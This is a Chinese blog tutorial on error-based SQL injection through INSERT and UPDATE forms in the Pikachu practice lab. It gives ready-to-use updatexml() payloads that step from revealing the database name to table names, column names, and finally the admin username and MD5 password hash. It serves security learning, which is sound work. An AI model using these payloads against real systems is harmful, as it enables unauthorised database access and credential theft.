首页 > 数据库 >8.SQL注入-基于insert,update利用案例

8.SQL注入-基于insert,update利用案例

时间:2024-07-04 21:30:11浏览次数:3  
标签:语句 insert xiaoqiang updatexml 0x7e update SQL payload

SQL注入-基于insert/update利用案例

sql语句正常插入表中的数据

insert into member(username,pw,sex,phonenum,address,email) values('xiaoqiang',1111,1,2,3,4);
select * from member;

例如插入小强数据,如图所示:
在这里插入图片描述

采用or这个运算符,构造闭合语句

values('xiaoqiang' or   or '',1111,1,2,3,4);

‘xiaoqinag’ or __ or 中后面的那个or后的单引号是为了闭合掉语句后面本身带有的单引号。而前面第一个or后是我们要填的注入语句。
这里还是用后台报错的方法来构造payload,且有必要提到的是,这里我们还用的了updatexmal()
在这里插入图片描述

基于insert语句下的报错:
暴库payload语句

xiaoqiang' or updatexml(1,concat(0x7e,database()),0)  or '

爆出数据库:pikachu 如图所示:
在这里插入图片描述

基于insert利用案例(与update是一样的)

通过前端网页进行测试,点击insert注入->注册,必填项输入单引号,看后台会执行报错不
在这里插入图片描述

发现被后台数据执行,返回报错信息sql语句错误
在这里插入图片描述

输入payload爆库语句进行测试,查看结果

xiaoqiang' or updatexml(1,concat(0x7e,database()),0)  or '

发现数据库已经显示pikachu
在这里插入图片描述

输入payload爆表名称语句,也是要加limit参数,一次一次的去测试

xiaoqiang' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)  or '

发现表名称为users比较敏感
在这里插入图片描述

根据已知的表名进行爆列字段的payload语句,一次一次进行测试

xiaoqiang' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)  or '

爆出字段用户名username
在这里插入图片描述

爆出字段密码:password
在这里插入图片描述

爆出用户名和密码的payload语句

xiaoqiang' or updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)  or '

发现高级用户admin
在这里插入图片描述

根据已知的表名,用户名,进行爆出密码的payload语句

xiaoqiang' or updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)  or '

爆出md5值密码,被加密了,可以进行解密,即可;
在这里插入图片描述

基于update利用案例(与insert是一样的)

例如:还是用暴库语句,基于报错:
xiaoqiang’ or updatexml(1,concat(0x7e,database()),0) or ’
登录lucy的账号,进行修改数据,输入payload语句进行暴库
在这里插入图片描述

如果所示,库名被暴漏出来,接下来同上一样的操作,这里就不演示了;
在这里插入图片描述

标签:语句,insert,xiaoqiang,updatexml,0x7e,update,SQL,payload
From: https://blog.csdn.net/weixin_46253249/article/details/140011449

相关文章

  • postgrsql 在批量插入的时候会锁表吗?
    在使用PostgreSQL进行批量插入时,默认情况下并不会锁定整张表。批量插入(bulkinsert)操作通常是通过INSERT语句、COPY命令或类似的批处理方法来实现的。PostgreSQL在这些操作中使用行级锁,而不是表级锁。行级锁(Row-levelLock)PostgreSQL的行级锁机制允许多个事务同时对不同的行进行......
  • Mysql安装步骤(centos7)
    MySQL安装步骤(CentOS-7)1、更新yum源rpm-Uvhhttp://dev.mysql.com/get/mysql57-community-release-el7-9.noarch.rpm2、安装MySQLyum-yinstallmysql-community-server--nogpgcheck3、查看MySQL版本号mysql-V4、启动MySQL服务systemctlstartmysqld5、设置开......
  • ElasticSearch 如何增加相当于MySql 中的一列字段
    在Elasticsearch中,增加相当于MySQL中的一列字段的操作被称为“添加字段到索引映射”。与MySQL不同,Elasticsearch是一个文档存储引擎,使用索引和类型来组织数据。每个文档都有其特定的映射(mapping),定义了字段及其数据类型。增加字段到Elasticsearch映射的步骤查看当前映射:首先,查......
  • MySQL的事务默认隔离级别是什么
    MySQL的默认隔离级别是REPEATABLEREAD。隔离级别概述数据库的隔离级别决定了事务相互隔离的程度,从而影响到并发事务的行为。SQL标准定义了四种隔离级别:READUNCOMMITTED(未提交读)READCOMMITTED(提交读)REPEATABLEREAD(可重复读)SERIALIZABLE(可串行化)每种隔离级别解决不......
  • Postgresql 的默认隔离级别
    PostgreSQL的默认事务隔离级别是READCOMMITTED。隔离级别概述数据库的隔离级别决定了事务在并发环境下相互隔离的程度,从而影响到并发事务的行为。SQL标准定义了四种隔离级别:READUNCOMMITTED(未提交读)READCOMMITTED(提交读)REPEATABLEREAD(可重复读)SERIALIZABLE(可串行化)......
  • mysql主从复制
    一、主从复制通过主从复制,可以实现读写分离。1.什么是主从复制MySQL主从复制是一种数据库复制技术,用于将一个MySQL数据库服务器的更改同步到其他MySQL数据库服务器。在主从复制中,有一个主数据库(Master)和一个或多个从数据库(Slave)。主数据库负责接收和处理所有的写操作,而从数据......
  • MyBatis中的Where标签:提升你的SQL查询效率
    哈喽,大家好,我是木头左!理解MyBatis的Where标签MyBatis是一款优秀的持久层框架,它提供了许多强大的标签来帮助编写更优雅、高效的SQL语句。其中,<where>标签是使用频率极高的一个,它能够自动处理查询条件,使得的SQL语句更加简洁和高效。在这篇文章中,将深入探讨MyBatis的<where>标签,......
  • SQL对所有员工的薪水按照salary降序进行1-N的排名
    系列文章目录文章目录系列文章目录前言前言前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。描述有一个薪水表salaries简况如下:对所有员工的薪水按照salary降序先......
  • SQL 统计各个部门的工资记录数
    系列文章目录文章目录系列文章目录前言前言前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。描述有一个部门表departments简况如下:有一个,部门员工关系表dept_emp......
  • CTF常用sql注入(二)报错注入(普通以及双查询)
    0x05报错注入适用于页面无正常回显,但是有报错,那么就可以使用报错注入基础函数floor()向下取整函数返回小于或等于传入参数的最大整数。换句话说,它将数字向下取整到最接近的整数值。示例:floor(3.7)返回3floor(-2.5)返回-3round()四舍五入函数将传入的数字四......